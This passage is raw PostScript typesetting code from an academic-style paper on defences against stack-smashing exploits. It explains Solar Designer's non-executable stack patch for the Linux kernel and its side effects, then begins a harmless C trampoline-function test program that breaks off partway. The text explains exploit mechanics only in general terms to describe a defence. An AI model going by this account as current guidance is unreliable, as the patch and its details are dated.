(its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4221 8744 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4627 8744 M (pages ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5070 8744 M (also ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5402 8744 M (marked ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5966 8744 M (non-executable. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7130 8744 M (Stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8468 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1882 8468 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2455 8468 M (depend ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2982 8468 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3195 8468 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3399 8468 M (executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4157 8468 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4546 8468 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4953 8468 M (returning ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5610 8468 M (back ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5971 8468 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6276 8468 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6397 8468 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7000 8468 M (address ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8192 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1671 8192 M (executes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2307 8192 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2527 8192 M (interactive ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3292 8192 M (shell. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3753 8192 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4010 8192 M (removing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4711 8192 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5014 8192 M (functionality ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5926 8192 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6314 8192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6580 8192 M (system, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7148 8192 M (some ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7916 M (stack smashing vulnerabilities can be stopped. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7640 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1900 7640 M (patch ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2333 7640 M (removing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3044 7640 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3459 7640 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4178 7640 M (permission ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4982 7640 M (was ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5314 7640 M (written ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5858 7640 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6126 7640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6402 7640 M (Linux ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6872 7640 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7364 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1732 7364 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1965 7364 M (someone ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2624 7364 M (going ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3069 7364 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3431 7364 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3664 7364 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3934 7364 M (alias ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4306 7364 M (Solar ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4733 7364 M (Designer) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5343 7364 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5410 7364 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5643 7364 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5913 7364 M (Internet.[7] ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6777 7364 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7140 7364 M (patch ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7088 M (involved ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1841 7088 M (changing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2502 7088 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2757 7088 M (k) ST -3 0 MR (e) ST -3 0 MR (r) ST -4 0 MR (n) ST -4 0 MR (e) ST -4 0 MR (l) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3320 7088 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3686 7088 M (segment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4293 7088 M (limit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4659 7088 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5071 7088 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5197 7088 M (new ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5526 7088 M (descriptor, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6286 7088 M (so ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6486 7088 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6787 7088 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6931 7088 M (does ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7288 7088 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6812 M (cover ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1640 6812 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1909 6812 M (actual ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2372 6812 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2780 6812 M (space, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3258 6812 M (effectively ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4036 6812 M (removing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4740 6812 M (its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4963 6812 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5371 6812 M (execution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6083 6812 M (privilege. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6824 6812 M (\() ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 6880 6812 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7140 6812 M (Solar ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6536 M (D) ST -2 0 MR (e) ST -2 0 MR (s) ST -2 0 MR (i) ST -2 0 MR (g) ST -2 0 MR (n) ST -2 0 MR (e) ST -2 0 MR (r) ST -3 0 MR (') ST -3 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1965 6536 M (complete ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2615 6536 M (patch, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3076 6536 M (see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3339 6536 M (Appendix ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4017 6536 M (C\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4184 6536 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4276 6536 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4511 6536 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4635 6536 M (patch ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5045 6536 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5344 6536 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5505 6536 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5767 6536 M (difficult ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6353 6536 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6532 6536 M (compile ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7118 6536 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 6536 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6260 M (kernel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1675 6260 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1962 6260 M (test, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2282 6260 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2569 6260 M (must ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2940 6260 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3144 6260 M (aware ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3589 6260 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3775 6260 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4025 6260 M (potential ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4653 6260 M (difficulties ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5421 6260 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5763 6260 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6050 6260 M (method. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6680 6260 M (First, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 7075 6260 M (nested ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5984 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1844 5984 M (calls) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2158 5984 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2249 5984 M (or) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 2388 5984 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2479 5984 M (trampoline ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3299 5984 M (functions) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 3908 5984 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3999 5984 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4256 5984 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4559 5984 M (work ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4992 5984 M (properly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5647 5984 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6033 5984 M (patched ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6641 5984 M (kernels. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 5984 M (An ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5708 M (example of a trampoline function is as follows:) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 5336 M 7523 5336 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5331 M 1181 5213 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5331 M 7519 5213 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 5229 M (include ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5212 M 1181 5053 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5212 M 7519 5053 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 5052 M 1181 4948 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 5052 M 7519 4948 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4964 M ( int) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4947 M 1181 4843 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4947 M 7519 4843 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4859 M ( g \(int a, int b, int \(*gi\) \(int, int\)\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4842 M 1181 4738 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4842 M 7519 4738 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4754 M ( {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4737 M 1181 4633 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4737 M 7519 4633 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4649 M ( printf \("Inside g, a = %d, b = %d, gi = 0x%.8lx\\n", a, b, \(long\)gi\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4632 M 1181 4528 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4632 M 7519 4528 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4544 M ( fflush \(stdout\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4527 M 1181 4368 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4527 M 7519 4368 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4367 M 1181 4263 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4367 M 7519 4263 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4279 M ( if \(\(*gi\) \(a, b\)\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4262 M 1181 4158 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4262 M 7519 4158 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4174 M ( return a;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4157 M 1181 4053 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4157 M 7519 4053 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4069 M ( else) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 4052 M 1181 3948 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 4052 M 7519 3948 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3964 M ( return b;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3947 M 1181 3843 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3947 M 7519 3843 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3859 M ( }) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3842 M 1181 3683 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3842 M 7519 3683 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3682 M 1181 3578 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3682 M 7519 3578 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3594 M ( void) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3577 M 1181 3473 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3577 M 7519 3473 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3489 M ( f \(void\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3472 M 1181 3368 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3472 M 7519 3368 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3384 M ( {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3367 M 1181 3263 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3367 M 7519 3263 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3279 M ( int i, j;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3262 M 1181 3158 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3262 M 7519 3158 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3174 M ( int f2 \(int a, int b\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3157 M 1181 3053 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3157 M 7519 3053 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3069 M ( {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 3052 M 1181 2948 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 3052 M 7519 2948 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2964 M ( printf \("Inside f2, a = %d, b = %d\\n", a, b\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2947 M 1181 2843 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2947 M 7519 2843 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2859 M ( fflush \(stdout\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2842 M 1181 2738 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2842 M 7519 2738 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2754 M ( return a > b;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2737 M 1181 2633 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2737 M 7519 2633 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2649 M ( }) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2632 M 1181 2473 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2632 M 7519 2473 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2472 M 1181 2368 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2472 M 7519 2368 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2384 M ( int f3 \(int a, int b\)) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2367 M 1181 2263 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2367 M 7519 2263 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2279 M ( {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2262 M 1181 2158 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2262 M 7519 2158 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2174 M ( printf \("Inside f3, i = %d, j = %d\\n", i, j\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2157 M 1181 2053 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2157 M 7519 2053 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2069 M ( fflush \(stdout\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 2052 M 1181 1948 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 2052 M 7519 1948 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1964 M ( return i > j;) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1947 M 1181 1843 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1947 M 7519 1843 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1859 M ( }) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1842 M 1181 1683 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1842 M 7519 1683 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1682 M 1181 1578 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1682 M 7519 1578 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1594 M ( if \(g \(1, 2, f2\) != 2\) {) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1577 M 1181 1473 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1577 M 7519 1473 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1489 M ( printf \("Trampoline call returned the wrong value\\n"\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1472 M 1181 1368 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1472 M 7519 1368 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1384 M ( fflush \(stdout\);) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 1367 M 1181 1263 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 1367 M 